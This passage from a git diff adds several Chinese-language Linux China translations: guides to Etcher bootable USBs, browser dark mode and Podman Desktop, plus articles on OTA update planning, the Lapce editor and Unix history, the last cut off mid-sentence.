https://news.itsfoss.com/content/images/2022/08/kscreen-kcm-help-in-a-tooltip.webp +[17]: https://invent.KDE.org/plasma/kinfocenter/-/merge_requests/104 +[18]: https://news.itsfoss.com/content/images/2022/08/m1-in-about.webp +[19]: https://news.itsfoss.com/content/images/2022/08/bender-old-beta.jpeg +[20]: https://news.itsfoss.com/content/images/2022/09/kde-plasma-5-26-mouse-buttons.png \ No newline at end of file diff --git a/published/202209/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md b/published/202209/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md new file mode 100644 index 0000000000..9766f5e3e3 --- /dev/null +++ b/published/202209/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md @@ -0,0 +1,134 @@ +[#]: subject: "Create Bootable USB Using Etcher in Linux – Download and Usage Guide" +[#]: via: "https://www.debugpoint.com/etcher-bootable-usb-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15020-1.html" + +在 Linux 中使用 Etcher 创建可启动 USB – 下载和使用指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/11/122946lmd8zzppbrzjcc6d.jpg) + +> 关于如何在 Ubuntu 和其他 Linux 中使用 Etcher 工具创建可引导 USB 的快速简单教程。 + +[Etcher][1] 是由 [Balena][2] 创建的实用程序,它可以使用 .iso 文件创建可启动的 USB 和 SD 卡,其独特的方式让你的生活变得轻松。在本指南中,我将向你展示下载和安装 Etcher 的步骤。 + +虽然对某些人来说有点过于简单,但对其他人来说可能很难。因此才有了本指南。 + +Etcher 主要用于刷写(写入) Linux 操作系统的 .iso 镜像,例如 Ubuntu、[Linux Mint][3] .iso 镜像等。但理想情况下,它也应该适用于任何其他 .iso 文件。 + +还有其他实用程序可用于创建可引导的 USB 驱动器,比如我之前写过 [指南][4] 的 Unetbootin。 + +但话虽如此,在我看来,Etcher **更快、更干净、更好**。它很少失败。成功率很高。 + +在我解释这些步骤之前,快速回顾一下它的功能。 + +### Etcher 的功能 + +* 创建可启动 USB 驱动器的清晰的 3 步过程 +* 自动检测 USB +* 选择文件,选择目标,快速写入 +* 克隆驱动器 +* 选择本地下载的 .iso 文件或直接从 URL 下载 +* 干净而友好的用户界面 +* 跨平台:Linux、Windows 和 macOS +* 内置 JS,electron 应用 +* 适用于 Linux 的独立 AppImage 可执行文件 + +### 安装 Etcher + +Etcher 适用于所有平台。因此,你可以在所有 Linux 发行版、macOS 和 Windows 中使用以下方法轻松安装它。 + +首先,进入以下链接。 + +> **[下载 ETCHER][5]** + +#### 适用于所有 Linux 发行版 + +从上面的链接下载 AppImage 可执行文件。然后通过“右键单击->属性”将权限更改为*可执行*。然后运行文件。 + +有关特定于发行版的软件包,请参阅下文。 + +#### Debian、Ubuntu + +要在 Debian、Ubuntu、Linux Mint 和相关发行版中安装 Etecher,请从终端执行以下命令: + +``` +echo "deb https://deb.etcher.io stable etcher" | sudo tee /etc/apt/sources.list.d/balena-etcher.listsudo apt-key adv --keyserver hkps://keyserver.ubuntu.com:443 --recv-keys 379CE192D401AB61sudo apt-get updatesudo apt-get install balena-etcher-electron +``` + +#### Fedora + +对于 Fedora,请从终端执行以下命令: + +``` +sudo wget https://balena.io/etcher/static/etcher-rpm.repo -O /etc/yum.repos.d/etcher-rpm.reposudo dnf install -y balena-etcher-electron +``` + +#### Arch Linux + +对于 Arch Linux,请确保已安装 yay。然后你可以运行以下命令进行安装: + +``` +yay -S balena-etcher +``` + +### 使用 Etcher 创建可启动 USB + +安装成功后启动应用。第一个窗口显示你需要遵循的 3 个步骤。当然,你需要一个 U 盘和 .iso 文件来写入。 + +#### 步骤 1:选择文件 + +插入目标 USB 或 SD 卡。浏览并选择 .iso 文件。或者,你也可以通过 URL 直接从互联网拉取它。 + +![Step 1 - Select the file][6] + +#### 步骤 2:选择目标设备 + +单击“选择目标Select Target”,并仔细选择你的 USB 或 SD 卡。 Etcher 非常友好,可以通知你哪个设备是你的系统设备,这样你就不会最终破坏数据。 + +通过单击复选框进行选择。并单击“选择Select”。 + +![Step 2 - Select Target device][7] + +#### 步骤 3:点击刷写开始创建可启动 USB 或 SD 卡 + +![Step 3 - Start the process][8] + +等到该过程完成。 + +![Process is complete][9] + +就是这样。你可以安全地取出 USB 或 SD 卡以供使用。 + +### 结束语 + +虽然创建可引导 USB 的方法有很多,例如你可以使用 Unetbootin、MKUSB,甚至使用 Ubuntu 的默认磁盘程序,但 Etcher 可以更轻松地完成此操作。其 UI 设计只需 3 个步骤,非常适合需要可靠性的新用户和高级用户。 + +可启动 USB 是一项重要资产,你应该使用出色的程序来准备它。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/etcher-bootable-usb-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.balena.io/etcher/ +[2]: https://www.balena.io/ +[3]: https://www.debugpoint.com/linux-mint/ +[4]: https://www.debugpoint.com/2015/05/how-to-create-a-bootable-usb-drive-in-ubuntu/ +[5]: https://github.com/balena-io/etcher/releases +[6]: https://www.debugpoint.com/wp-content/uploads/2021/01/Step1-Select-the-file.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/01/Step-2-Select-Target-device.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/01/Step-3-Start-the-process.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2021/01/Process-is-complete.jpg diff --git a/published/202209/20220904 How to Enable Dark Mode in Web Browser.md b/published/202209/20220904 How to Enable Dark Mode in Web Browser.md new file mode 100644 index 0000000000..ff1ef1a55a --- /dev/null +++ b/published/202209/20220904 How to Enable Dark Mode in Web Browser.md @@ -0,0 +1,98 @@ +[#]: subject: "How to Enable Dark Mode in Web Browser" +[#]: via: "https://www.debugpoint.com/dark-mode-browser/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15035-1.html" + +如何在浏览器中启用深色模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/15/232124u1ikykxri6oehx0h.jpg) + +> 本指南旨在帮助你了解如何在流行的浏览器,如 Firefox、谷歌 Chrome、Chromium 和微软 Edge 中启用深色模式。 + +我们都喜欢深色模式。许多人喜欢它,而不是标准的浅色模式。虽然许多桌面应用提供了原生的深色模式,但一些应用通过桌面环境的基础模式适应深色模式。 + +你不能否认,我们都在浏览器上花了好多时间。我们很少使用桌面应用(除非你是在工作,如视频编辑等)。因此,当你在浏览器上花很多时间阅读和学习时,你应该也可以选择深色模式。但是,对于各个浏览器,稍微有点不同。 + +本指南为你提供简单的步骤,你可以按照这些步骤在 Mozilla Firefox、Chromium、Chrome 和 Edge 浏览器中启用深色模式。 + +### 在浏览器中启用深色模式 + +#### 在 Firefox 中启用深色模式 + +打开 Firefox ,点击右上角的设置菜单。 + +点击 “设置Settings > 扩展和主题Extension and Themes”。 + +选择“深色主题Dark Theme”并点击“启用enable”。然后你应该看到深色模式被应用到 Firefox。 + +![Enable dark mode in Firefox][1] + +![Firefox in Dark Mode][2] + +要恢复它,按照同样的步骤,选择浅色主题。 + +#### Chromium 和 Chrome 的深色模式 + +Chromium 或 Chrome 默认不预装任何深色主题。因此,你需要去 Chrome 商店,下载任何你想要的深色主题。在本指南中,我将推荐 “Morpheon Dark” 主题,它有超过一百万用户在使用它。 + +从 Chromium 浏览器中打开 Morpheon Dark 主题页面(从以下链接)。 + +> **[Chrome 网络商店中的 Morpheon Dark 主题][3]** + +点击“添加到 ChromeAdd To Chrome” 按钮。它应该会在 Chrome 中启用。 + +你可能想探索 Chrome 网络商店中的其他黑白或深色主题。[请访问此页面,查看所有的深色主题集合][4] 。 + +然而,你应该记住一件事:这个主题不会改变设置或上下文菜单。这很明显。因为它只是改变了浏览器窗口,而那些菜单是操作系统本身的一部分(有时)。 + +![Chromium Dark Theme][5] + +对 Google Chrome 也要按照同样的步骤进行。 + +#### Edge 浏览器的深色模式 + +然而,[微软 Edge 浏览器][6] 默认带有更好的深色主题。它允许你从设置中使用 GTK+、浅色和深色模式。 + +打开 Edge 浏览器 + +点击右上角的三个小圆点。 + +进入“外观Appearance”,选择“深色Dark”。这就完成了。 + +这个 Edge 的深色主题实现得更好,因为它改变了上下文菜单和地址栏。 + +![Edge in Dark Theme][7] + +### 结束语 + +如果你是一个高级用户,你可能不需要这个指南。你可以搞清楚。 + +但我们为所有的读者涵盖了所有从基础到高级的教程。许多新的 Linux 用户可能也不知道如何在浏览器中启用深色模式。 + +因此,话虽如此,我希望这能帮助你和其他人。如果你遇到任何麻烦,请在下面的评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/dark-mode-browser/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/10/Enable-dark-mode-in-Firefox.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/10/Firefox-in-Dark-Mode-1024x423.jpg +[3]: https://chrome.google.com/webstore/detail/morpheon-dark/mafbdhjdkjnoafhfelkjpchpaepjknad?hl=en-GB +[4]: https://chrome.google.com/webstore/category/collection/dark_themes +[5]: https://www.debugpoint.com/wp-content/uploads/2021/10/Chromium-Dark-Theme-1024x463.jpg +[6]: https://www.debugpoint.com/2020/10/how-to-install-edge-ubuntu-linux/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/10/Edge-in-Dark-Theme-1024x541.jpg \ No newline at end of file diff --git a/published/202209/20220905 3 things to know about planning for OTA updates in your homelab.md b/published/202209/20220905 3 things to know about planning for OTA updates in your homelab.md new file mode 100644 index 0000000000..1f2ab7fcad --- /dev/null +++ b/published/202209/20220905 3 things to know about planning for OTA updates in your homelab.md @@ -0,0 +1,64 @@ +[#]: subject: "3 things to know about planning for OTA updates in your homelab" +[#]: via: "https://opensource.com/article/22/9/plan-ota-updates-edge" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15045-1.html" + +规划 OTA 更新需要了解的 3 件事 +====== + +> 在开始编写应用之前,为手机、物联网设备和边缘计算定义无线更新计划。 + +过去对系统的更新相对简单。当开发人员需要修改他们已经分发给公众的东西时,会发布一个更新程序供人们运行。用户将运行更新程序,允许用新文件替换旧文件并添加新文件。然而,即使有了这些“相对简单”的更新,也有一个问题。当用户安装好的系统处于意外状态时会发生什么?升级中断时会发生什么?当各种设备都在线时,这些问题同样重要,有时需要重要的安全更新。今天的许多更新都是通过无线、空中下载技术over-the-air(OTA)的方式提供的,连接不良、信号突然丢失或断电的可能性可能会对应该是次要更新的内容造成灾难性的影响。这些是你在计划提供 OTA 更新时需要考虑的三大策略。 + +### 1、验证 + +TCP 协议内置了很多验证功能,因此当你 [向设备发送数据包][2] 时,通常可以确信每个数据包都已完好无损地收到。但是,TCP 无法报告它不知道的错误,因此由你来验证以下内容: + +* 你是否已发送更新所需的所有文件?设备无法接收没有发送的内容。 +* 收到的文件和你发送的文件一样吗?至少,检查 SHA 和以验证文件完整性。 +* 如果可能,请使用 [数字签名][3] 确保文件来自受信任的来源。 +* 在允许更新开始之前,你必须验证设备能够应用更新。在提交更新之前检查权限和电池状态,并确保你的更新过程覆盖任何意外的用户事件,例如计划的重新启动或休眠。 +* 最后,你必须验证声称已成功完成的更新是否已实际完成。在将更新正式标记为系统已完成之前,请检查目标设备上的文件位置和完整性。 + +### 2、回退和故障状态 + +更新的最坏情况是设备处于损坏状态,以至于它甚至不能继续被中止的更新。在这种情况下,更新程序文件存在于目标设备上,但该过程已被中断。这可能会使设备处于未知状态,其中一些文件已被更新版本替换,而其他文件尚未被替换。在最坏的情况下,已更新的文件与尚未更新的文件不兼容,因此设备无法按预期运行。 + +有一些策略可以解决这个问题。初始更新步骤可能是安装专用于完成更新的特殊引导镜像或环境,并在系统上设置“标志”以确认更新正在进行中。这样可以确保即使设备在更新过程中突然断电,更新过程也会在下次启动时重新启动。仅在验证更新后才删除表示更新成功的标志。 + +根据目标设备的安全策略和你要更新的内容,特殊的引导镜像可能不可行或不需要。不过,原理还是一样的。当启动后,更新必须建立一个环境,在这个环境中,待处理的更新是解决问题之前的唯一途径 + +但是,在更新被授予启动权限之前,用户(如果有的话)应该能够延迟或忽略更新。 + +### 3、附加更新 + +在许多边缘和物联网设备中,目标设备的底层是不可变的。更新只会添加到系统的已知状态。 [Fedora Silverblue][4] 之类的项目正在证明这种模式可以在许多领域发挥作用,因此这种奢侈的做法可能会变得司空见惯。不过,在那之前,成功应用更新的一部分是了解你将要影响的环境。 + +不过,你不需要不可变的核心来应用附加更新。你可以构建一个使用相同概念的系统,将更新作为添加库或包的一种方式,而无需修改旧版本。作为此类更新的最后一步,具有更新路径的可执行文件是你所做的唯一实际修订。 + +### OTA 更新 + +世界越来越无线化。对于手机、物联网设备和 [边缘计算][5],OTA 更新通常是唯一的选择。实施 OTA 更新策略需要仔细规划并仔细考虑不可能的情况。你最了解你的目标设备,因此请在开始编码之前规划好你的更新架构。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/plan-ota-updates-edge + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/computer_code_programming_laptop.jpg +[2]: https://www.redhat.com/sysadmin/beginners-guide-network-troubleshooting-linux +[3]: https://www.redhat.com/sysadmin/digital-signatures-gnupg +[4]: https://silverblue.fedoraproject.org +[5]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing?intcmp=7013a000002qLH8AAM diff --git a/published/202209/20220905 Manage containers on Fedora Linux with Podman Desktop.md b/published/202209/20220905 Manage containers on Fedora Linux with Podman Desktop.md new file mode 100644 index 0000000000..ef5f1f7b75 --- /dev/null +++ b/published/202209/20220905 Manage containers on Fedora Linux with Podman Desktop.md @@ -0,0 +1,143 @@ +[#]: subject: "Manage containers on Fedora Linux with Podman Desktop" +[#]: via: "https://fedoramagazine.org/manage-containers-on-fedora-linux-with-podman-desktop/" +[#]: author: "Mehdi Haghgoo https://fedoramagazine.org/author/powergame/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15058-1.html" + +使用 Podman Desktop 在 Fedora Linux 上管理容器 +====== + +![][1] + +> Podman Desktop 是一个开源 GUI 应用,用于在 Linux、macOS 和 Windows 上管理容器。 + +从历史上看,开发人员一直使用 Docker Desktop 对容器进行图形化管理。这适用于那些安装了 Docker Daemon 和 Docker CLI 的人。然而,对于那些使用无守护进程的 Podman 工具的人来说,虽然有一些 Podman 前端,如 [Pods][2]、[Podman desktop companion][3] 和 [Cockpit][4],但没有官方应用。现在不是这种情况了。有了 Podman Desktop! + +本文将讨论由红帽和其他开源贡献者开发的 Podman Desktop 的特性、安装和使用。 + +### 安装 + +要在 Fedora Linux 上安装 Podman Desktop,请访问 [podman-desktop.io][5],然后单击 “Download for Linux” 按钮。你将看到两个选项:Flatpak 和 zip。在这个例子中,我们使用的是 Flatpak。单击 “Flatpak” 链接后,通过双击文件在 GNOME 软件中打开它(如果你使用的是 GNOME)。你也可以通过终端安装它: + +``` +flatpak install podman-desktop-X.X.X.flatpak +``` + +在上面的命令中,将 X.X.X 替换为你下载的特定版本。如果你下载了 zip 文件,那么解压缩存档,然后启动 Podman Desktop 应用的二进制文件。你还可以通过进入 GitHub 上项目的 [发布][6] 页找到预发布版本。 + +### 特性 + +Podman Desktop 仍处于早期阶段。然而,它支持许多常见的容器操作,如创建容器镜像、运行容器等。此外,你可以在 “首选项Preferences” 的 “扩展Extensions” 部分下找到 Podman 扩展,你可以使用它来管理 macOS 和 Windows 上的 Podman 虚拟机。 + +此外,Podman Desktop 支持 Docker Desktop 扩展。你可以在 “首选项Preferences” 下的 “Docker Desktop Extensions” 安装此类扩展。应用窗口有两个窗格。左侧窄窗格显示应用的不同功能,右侧窗格是内容区域,它将根据左侧选择的内容显示相关信息。 + +![Podman Desktop 0.0.6 在 Fedora 36 上运行][7] + +### 演示 + +为了全面了解 Podman Desktop 的功能,我们将从 Dockerfile 创建一个镜像并将其推送到注册中心,然后拉取并运行它,这一切都在 Podman Desktop 中完成。 + +#### 构建镜像 + +第一步是通过在命令行中输入以下行来创建一个简单的 Dockerfile: + +``` +cat <>Dockerfile +FROM docker.io/library/httpd:2.4 +COPY . /var/www/html +WORKDIR /var/www/html + +CMD ["httpd", "-D", "FOREGROUND"] +EOF +``` + +现在,点击 “镜像Images” 并按下 “构建镜像Build Image” 按钮。你将被带到一个新页面以指定 Dockerfile、构建上下文和镜像名称。在 Containerfile 路径下,单击并浏览以选择你的 Dockerfile。在镜像名称下,输入镜像的名称。如果要将镜像推送到容器注册中心,那么可以以 `example.com/username/repo:tag` 形式指定完全限定的镜像名称(FQIN)。在此示例中,我输入 `quay.io/codezombie/demo-httpd:latest`,因为我在 `quay.io` 上有一个名为 `demo-httpd` 的公共仓库。你可以按照类似的格式来指定容器注册中心(Quay、Docker Hub、GitHub Container Registry 等)的 FQIN。现在,按下 “构建Build” 按钮并等待构建完成。 + +#### 推送镜像 + +构建完成后,就该推送镜像了。所以,我们需要在 Podman Desktop 中配置一个注册中心。进入 “首选项Preferences” -> “注册中心Registries” 并按下 “添加注册中心Add registry” 按钮。 + +![添加注册中心对话框][8] + +在 “添加注册中心Add registry” 对话框中,输入你的注册中心服务器地址和用户凭据,然后单击 “添加注册中心Add registry”。 + +现在,回到镜像列表中我的镜像,并按下上传图标将其推送到仓库。当你将鼠标悬停在设置中添加的注册中心名称开头的镜像名称上时(此演示中的 `quay.io`),镜像名称旁边会出现一个推送按钮。 + +![将鼠标悬停在镜像名称上时出现的按钮][9] + +![镜像通过 Podman Desktop 推送到仓库][10] + +镜像被推送后,任何有权访问镜像仓库的人都可以拉取它。由于我的镜像仓库是公开的,因此你可以轻松地将其拉入 Podman Desktop。 + +#### 拉取镜像 + +因此,为确保一切正常,请在本地删除此镜像并将其拉入 Podman Desktop。在列表中找到镜像并按删除图标将其删除。删除镜像后,单击 “拉取镜像Pull Image” 按钮。在 “要拉取的镜像Image to Pull” 输入完全限定名称,然后按 “拉取镜像Pull Image”。 + +![Our container image is successfully pulled][11] + +#### 创建一个容器 + +作为 Podman Desktop 演示的最后一部分,让我们从镜像中启动一个容器并检查结果。转到 “容器Containers” 并按 “创建容器Create Container”。这将打开一个包含两个选项的对话框:“从 Containerfile/DockerfileFrom Containerfile/Dockerfile” 和 “从已有镜像From existing image”。按下 “从已有镜像From existing image”。这将进入镜像列表。在那里,选择我们要拉取的镜像。 + +![在 Podman Desktop 中创建容器][12] + +现在,我们从列表中选择我们最近拉取的镜像,然后按它前面的 “运行Play” 按钮。在出现的对话框中,我输入 `demo-web` 作为容器名,输入 `8000` 作为端口映射,然后按下 “启动容器Start Container”。 + +![Container configuration][13] + +容器开始运行,我们可以通过运行以下命令检查 Apache 服务器的默认页面: + +``` +curl http://localhost:8000 +``` + +![可以工作!][14] + +你还应该能够在容器列表中看到正在运行的容器,其状态已更改为 “运行中Running”。在那里,你会在容器前面找到可用的操作。例如,你可以单击终端图标打开 TTY 进入到容器中! + +![][15] + +### 接下来是什么 + +Podman Desktop 还很年轻,处于 [积极开发][16] 中。 GitHub 上有一个项目 [路线图][17],其中列出了令人兴奋的按需功能,包括: + +* Kubernetes 集成 +* 支持 Pod +* 任务管理器 +* 卷支持 +* 支持 Docker Compose +* Kind 支持 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/manage-containers-on-fedora-linux-with-podman-desktop/ + +作者:[Mehdi Haghgoo][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/powergame/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2022/09/podman-desktop-on-fedora-816x345.jpg +[2]: https://github.com/marhkb/pods +[3]: https://github.com/iongion/podman-desktop-companion +[4]: https://github.com/cockpit-project/cockpit/ +[5]: https://podman-desktop.io/ +[6]: https://github.com/containers/podman-desktop/releases/ +[7]: https://fedoramagazine.org/wp-content/uploads/2022/08/pd.png +[8]: https://fedoramagazine.org/wp-content/uploads/2022/08/registry.png +[9]: https://fedoramagazine.org/wp-content/uploads/2022/08/image.png +[10]: https://fedoramagazine.org/wp-content/uploads/2022/08/Screenshot-from-2022-08-27-23-51-38.png +[11]: https://fedoramagazine.org/wp-content/uploads/2022/08/image-2.png +[12]: https://fedoramagazine.org/wp-content/uploads/2022/08/image-3.png +[13]: https://fedoramagazine.org/wp-content/uploads/2022/08/image-5.png +[14]: https://fedoramagazine.org/wp-content/uploads/2022/08/image-6.png +[15]: https://fedoramagazine.org/wp-content/uploads/2022/09/image-2-1024x393.png +[16]: https://github.com/containers/podman-desktop +[17]: https://github.com/orgs/containers/projects/2 diff --git a/published/202209/20220906 Lapce is a Fast, Lightweight Open-Source Code Editor in Making.md b/published/202209/20220906 Lapce is a Fast, Lightweight Open-Source Code Editor in Making.md new file mode 100644 index 0000000000..4cfdbe9351 --- /dev/null +++ b/published/202209/20220906 Lapce is a Fast, Lightweight Open-Source Code Editor in Making.md @@ -0,0 +1,84 @@ +[#]: subject: "Lapce is a Fast, Lightweight Open-Source Code Editor in Making" +[#]: via: "https://news.itsfoss.com/lapce-code-editor/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15036-1.html" + +Lapce:一个开发中的快速、轻量级的开源代码编辑器 +====== + +> Lapce 是一个用 Rust 构建的开源代码编辑器。它正处于早期开发阶段,但看起来很有前途! + +![Lapce 是一个正在开发中的快速、轻量级的开源代码编辑器][1] + +有很多开源的代码编辑器可用于 Linux。 + +你对换一种选择有什么看法:一个专注于性能的**基于 Rust 的**开源代码编辑器? + +它应该是**激动人心**的,对吗? + +Lapce 就是这样一个正在开发的项目,它的目标是开发出一个功能丰富、速度快的代码编辑器,作为微软的 Visual Studio Code 的替代品。 + +开发者还提到,它的灵感来自于 [Xi-editor][2](它已不再处于活跃开发状态)。 + +### Lapce 处于 pre-alpha 阶段 + +![lapce 编辑器][3] + +虽然 Lapce 还不是一个完整的产品,但它有很多东西可以提供。 + +因此,随着稳定版本的接近,我们得到的东西应该是有趣的。 + +值得强调的功能包括: + +* 命令面板(快速操作)。 +* 自定义用户界面字体、标题高度、字体阴影、滚动宽度等。 +* 内置终端。 +* 类似 Vim 的模态编辑。 +* 连接到远程计算机。 +* 代码语法高亮,代码不全,以及类似功能。 +* 插件系统。 +* 深色/浅色模式。 + +虽然它专注于性能,但在用户体验方面看起来不错(尽管它不完整)。 + +![][4] + +如果用户能够获得一个代码编辑器所期望的所有基本功能,以及一个性能更好的应用,Lapce 很快就会成为一个受欢迎的选择。 + +### 下载 Lapce + +Lapce 在 Linux、macOS 和 Windows 中有 pre-alpha 版本。 + +对于 Linux,你只需要下载并解压 tar.gz 包,然后使用 GUI 或终端运行 Lapce 可执行文件。 + +目前,它正在积极开发中。你可以为你的平台下载软件包并进行测试,但你应该预期会出现 bug 和新的版本。探索它的 [GitHub 页面][5] 以获得更多信息。 + +> **[Lapce][6]** + +我在 Pop!\_OS 22.04 LTS 上试用了它,发现用户界面冻结了几次。然而,它所提供的功能似乎令人印象深刻。 + +💬 *你对 Lapce 作为一个用 Rust 构建的开源代码编辑器有什么看法?你认为你会考虑它而不是你目前的最爱吗?请在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/lapce-code-editor/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/lapce-editor.png +[2]: https://github.com/xi-editor/xi-editor +[3]: https://news.itsfoss.com/content/images/2022/09/lapce-screenshot.png +[4]: https://news.itsfoss.com/content/images/2022/09/lapce-code-edit.png +[5]: https://github.com/lapce/lapce +[6]: https://lapce.dev/ diff --git a/published/202209/20220906 Unix History- A Mighty Origin Story.md b/published/202209/20220906 Unix History- A Mighty Origin Story.md new file mode 100644 index 0000000000..0819a06b67 --- /dev/null +++ b/published/202209/20220906 Unix History- A Mighty Origin Story.md @@ -0,0 +1,107 @@ +[#]: subject: "Unix History: A Mighty Origin Story" +[#]: via: "https://www.debugpoint.com/unix-history/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15024-1.html" + +Unix 历史:一个伟大作品的诞生 +====== + +> 关于 Unix 及其起源的简短回忆。 + +![The beginning][1] + +### Unix 的起源 + +如今,几乎整个世界都运行在 Linux 之上。数以十亿计的移动电话和服务器运行在 Linux 之上。但在 Linux 之前,是 Unix,没有 Unix 就没有现在的 Linux。 + +Unix 的起源可以追溯到人类登陆月球的时候。在 1965 年,三个著名的机构共同开展了一个操作系统研发项目,准备开发一个能够服务多个用户,并共享数据和资源的操作系统。 + +![Scanned copy of actual Unix code][2] + +这三个机构是著名的 贝尔电话实验室Bell Telephone Laboratories通用电气公司General Electric Company(GE)以及麻省理工学院Massachusetts Institute of Technology(MIT)。这个合作项目被称为 “Multics” —— 即“多路传输信息和计算业务Multiplex Information and Computing Service”的缩写。 + +不幸的是,该项目并没有见到成功的曙光,由于系统设计复杂且没有什么成果,贝尔实验室停止了该项目。 + +曾参与该项目开发的贝尔实验室的 肯·汤普森Ken Thompson,也投入到了新的工作中。在 数字设备公司Digital Equipment Corporation(DEC)的一台古老的 PDP-7 计算机上,他重新开始设计了一个新操作系统。不久后,丹尼斯·里奇Dennis Ritchie 也加入了,二人一起设计了分层文件系统、设备文件、命令行解释器以及进程。这就是 Unix 的诞生过程,它的名字是由 Multics 项目的另一名成员 布莱恩·克尼汉Brian Kernighan 给命名的。(LCTT 校注:[前不久](https://linux.cn/article-14964-1.html),80 高龄的布莱恩还为他共同创造的 AWK 添加了新的特性。) + +接着在 1971 年,Unix 被移植到了稍微先进一些的 PDP-11 计算机上,它仅有 512 KB 的磁盘。当时,Unix 只支持 16 KB 内存,可以为用户程序分配 8 KB 的内存。 + +然而,Unix 大多数代码是用汇编语言编写的,十分依赖于硬件。因此它并不具备移植性。 + +![Ken Thompson (sitting) and Dennis Ritchie at PDP-11 (credit and learn more about this image1)][3] + +### C 语言的创建 + +如此一来,要使 Unix 具有可移植性,使之与 机器无关machine-independent,唯一的方法是使用高级语言编写它,这样编译和相应的目标代码就可以进行机器指令的转换了。 + +解决该问题的伟大思想诞生于一瞬间。肯·汤普森从零开始创建了一种名为 “B” 的高级语言。然后,他做了大量的工作,将 Unix 的汇编代码转换成这种新创建的语言。然而,“B” 语言也存在一些局限性,丹尼斯·里奇在此基础上创建了著名的 “C” 语言,这使得 Unix 真正成为一个可移植的操作系统。 + +著名的 “C” 语言至今还在使用。 + +到上世纪 80 年代中期,Unix 已经变得十分成功,从微型计算机到大型机,它可以在成千上万种硬件上运行。 + +![The text book of C which we all read][4] + +### MINIX 和 Linux 的诞生 + +1987 年,计算机科学教授 安德鲁·斯图尔特·特南鲍姆Andrew S. Tanenbaum 开发了一个名为 NINIX 的类 Unix 系统,在其著作《操作系统设计与实现Operating Systems: Design and Implementation》中用以解释操作系统的概念,并随该书一起免费分发了这个操作系统(16 位的版本)。那些学习计算机科学专业(包括我)或相关专业的人都知道,这是一本解释操作系统基础知识的“神级”教科书。 + +1991 年,李纳斯·托沃兹Linus Torvalds 在赫尔辛基大学学习期间开始了一项 [爱好项目][5]。他的项目是基于 MINIX 和 GNU C 编译器的。他启动这个项目是为了能够在他的配有新款 80386 处理器的新 PC 上运行程序。他编写的整个操作系统包含了 MINIX 所缺乏的特性,最终成为了 Linux 内核。 + +![Famous operating systems book by Tanenbaum][6] + +### BSD 和 macOS + +上世纪 80 年代,当 Unix 初具规模时,贝尔实验室基于 Unix 的最初源代码(在 PDP-7 和 PDP-11 上运行的版本)开发了 BSD(伯克利标准发行版Berkeley Standard Distribution)。BSD 是由加州大学伯克利分校的 计算机系统研究小组Computer Systems Research Group(CSRG)分发的。在其形成之后,BSD 